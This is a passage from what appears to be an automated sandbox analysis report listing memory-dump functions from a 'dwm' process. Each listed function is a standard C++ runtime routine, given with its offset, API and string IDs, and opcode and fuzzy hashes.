                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267980444.000002BAAEE00000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaee00000_dwm.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction ID: 0f0db1ed4fc02c5bb2472a0a709be8c69891d3774ecc129aea9e11b29c3b51bf
                                            • Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction Fuzzy Hash: 75E1D072640B80AAEBB0DF65D48839D77B0F799B98F200115EEC957F99CB35C891C722
                                            Function 000002BAAEDA9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267820512.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaeda0000_dwm.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction ID: 11837b641cf7fbaa2370180d18065cadece89f3cd28ec07f1272569ac3389919
                                            • Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction Fuzzy Hash: 07E1C072604B808AEB60DF75E48839D77B0F755B88F205516EECD57B9ACB34C2A1C722
                                            Function 000002BAAEE13504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267980444.000002BAAEE00000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaee00000_dwm.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: 84363a086f0b82955cafba38430d473bf1b16bdb6e5af2d6a27fa10674c49fc1
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: C8118672A14E5131FA741529E45D36933A16B78B74F7B8638A9F606FD6CB2CC8C1C232
                                            Function 000002BAAEE0F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267980444.000002BAAEE00000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaee00000_dwm.jbxd
                                            Similarity
                                            • API ID: _invalid_parameter_noinfo
                                            • String ID: Tuesday$Wednesday$or copy constructor iterator'
                                            • API String ID: 3215553584-4202648911
                                            • Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction ID: 18434aeb0c84fc901084e78cf062feca75bce04eee735aefdd6538ae75e92cbb
                                            • Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction Fuzzy Hash: 9961D132684600A2FAF5CB68E44C32A7BB0F795740F704525CADA17FA9DB34C961C233
                                            Function 000002BAAEDAF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267820512.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaeda0000_dwm.jbxd
                                            Similarity
                                            • API ID: _invalid_parameter_noinfo
                                            • String ID: Tuesday$Wednesday$or copy constructor iterator'
                                            • API String ID: 3215553584-4202648911
                                            • Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction ID: 97fb1626824143654bbe779d900eb1f5637e1533d1f2395c6091a79e8529f199
                                            • Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction Fuzzy Hash: 2B61E53260264042FA659B69E58C36A7BB2F781780F704565CADE177E4DB38CB62C333
                                            Function 000002BAAEE0A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267980444.000002BAAEE00000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaee00000_dwm.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: fbf44b6c4ef83a5f2280e6267acbbcba7f182d6bcc3d933944b71546e8975092
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: 43519032180384EAEBB48F25954836C77B0F755B94F288216DADD87FD5CB38D4A1C712
                                            Function 000002BAAEDAA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267820512.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaeda0000_dwm.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: 7115465f893ad9538f91c80ecd4362db5de93305e29ba78ccb391585fe135c5e
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: CA518C32100380CAEB748FA5954835C77B1F355B94F289216DADE8BBD5CB39D6B1CB12
                                            Function 000002BAAEE08405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267980444.000002BAAEE00000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaee00000_dwm.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction ID: 40f51f638e3153761a7868a6382d7c12d3b427464fb531381f830d4bad8614f1
                                            • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction Fuzzy Hash: B251C432741A80AADBB4DF15E44CB1937B5F354B98F718124DA9647F88EB34CC41CB2A
                                            Function 000002BAAEDA8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267820512.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaeda0000_dwm.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction ID: ca5a7434315f0adfa0147800b6b2c82765ba5a1246e9b03322f2a6b9548c4be2
                                            • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction Fuzzy Hash: 4A51CE3AB016008AEB54EF15E44CB1937B6F354B98F708524DE9E63788EB74CE61C726
                                            Function 000002BAAEE083E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267980444.000002BAAEE00000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaee00000_dwm.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction ID: 0a6da7d6b5ec98d8b0e82541115ef4f3f6bd02b4c099e2a493ca6f97b2948d46
                                            • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction Fuzzy Hash: D5319F32241B80A6E7A4DF11E84C71977B4F354B98F658014EEDA47F84DB38C985CB2A
                                            Function 000002BAAEDA83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267820512.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaeda0000_dwm.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction ID: 600f0b0a36d475cb90ff45834e4e011382e8688b953d0501ae32f59bf4019a20
                                            • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction Fuzzy Hash: 1C31AE3A2017409AEB64EF11E84CB1977B5F340B98F258418EEDF57788DB38CA61C726
                                            Function 000002BAAEE09E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267980444.000002BAAEE00000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaee00000_dwm.jbxd
                                            Similarity
                                            • API ID: CallTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3163161869-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: 8db24226de7537dab0611aab846cdbe9979b99d76c8ac61287aac47b4100a531
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: 1A61AC33601B889AEB60DFA5D48439D77B0F388B88F248215EF8917F98DB39D995C711
                                            Function 000002BAAEDA9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267820512.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaeda0000_dwm.jbxd
                                            Similarity
                                            • API ID: CallTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3163161869-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: 6066f6a667c02a3dde5cc671d6705a9dc30413e10d50204c4eb7aca01b800b18
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: 53617B37A01B848AEB20DF65E48439D77B0F748B88F248215EF8D17B99DB38D6A5C711
                                            Function 000002BAAEE07356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267980444.000002BAAEE00000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaee00000_dwm.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: ierarchy Descriptor'$riptor at (
                                            • API String ID: 592178966-758928094
                                            • Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction ID: 8c245744f945b1c7e01126da5c7c0e99539bde68f2e34e4c23f6018239e3454d
                                            • Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction Fuzzy Hash: 6BE08661650B44A0DF129F21E84429833B0DB68B64B589122999C4A715FB3CD1EDC312
                                            Function 000002BAAEDA7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267820512.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaeda0000_dwm.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: ierarchy Descriptor'$riptor at (
                                            • API String ID: 592178966-758928094
                                            • Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction ID: aecd9389ed42b80ddfab9e11b308651d5f6fd54687e5ebd5b4ac960ee60fca0a
                                            • Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction Fuzzy Hash: DFE0CD61640B44D0EF019F21E8442D833B1DB58B64F58D122DD9C07311FB38D2F9C311
                                            Function 000002BAAEE073B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267980444.000002BAAEE00000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaee00000_dwm.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: Locator'$riptor at (
                                            • API String ID: 592178966-4215709766
                                            • Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction ID: 6739d80ca3845b12d61491ac9433d10b874843df0d7838e5e2ab025565334f9c
                                            • Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction Fuzzy Hash: ACE0CD61640B48D0DF129F21D4401987370E76CB54F98D122DD9C47715FB3CD1E9C312
                                            Function 000002BAAEDA73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267820512.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaeda0000_dwm.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: Locator'$riptor at (
                                            • API String ID: 592178966-4215709766
                                            • Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction ID: f237e3cdf2cc05938838b27189fb35462db56802b89672789935330c5c78283d
                                            • Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction Fuzzy Hash: 80E0C261A00B48C0EF029F21E8842A873B1EB68B64F98D122CE8C07311FB38D2F9C311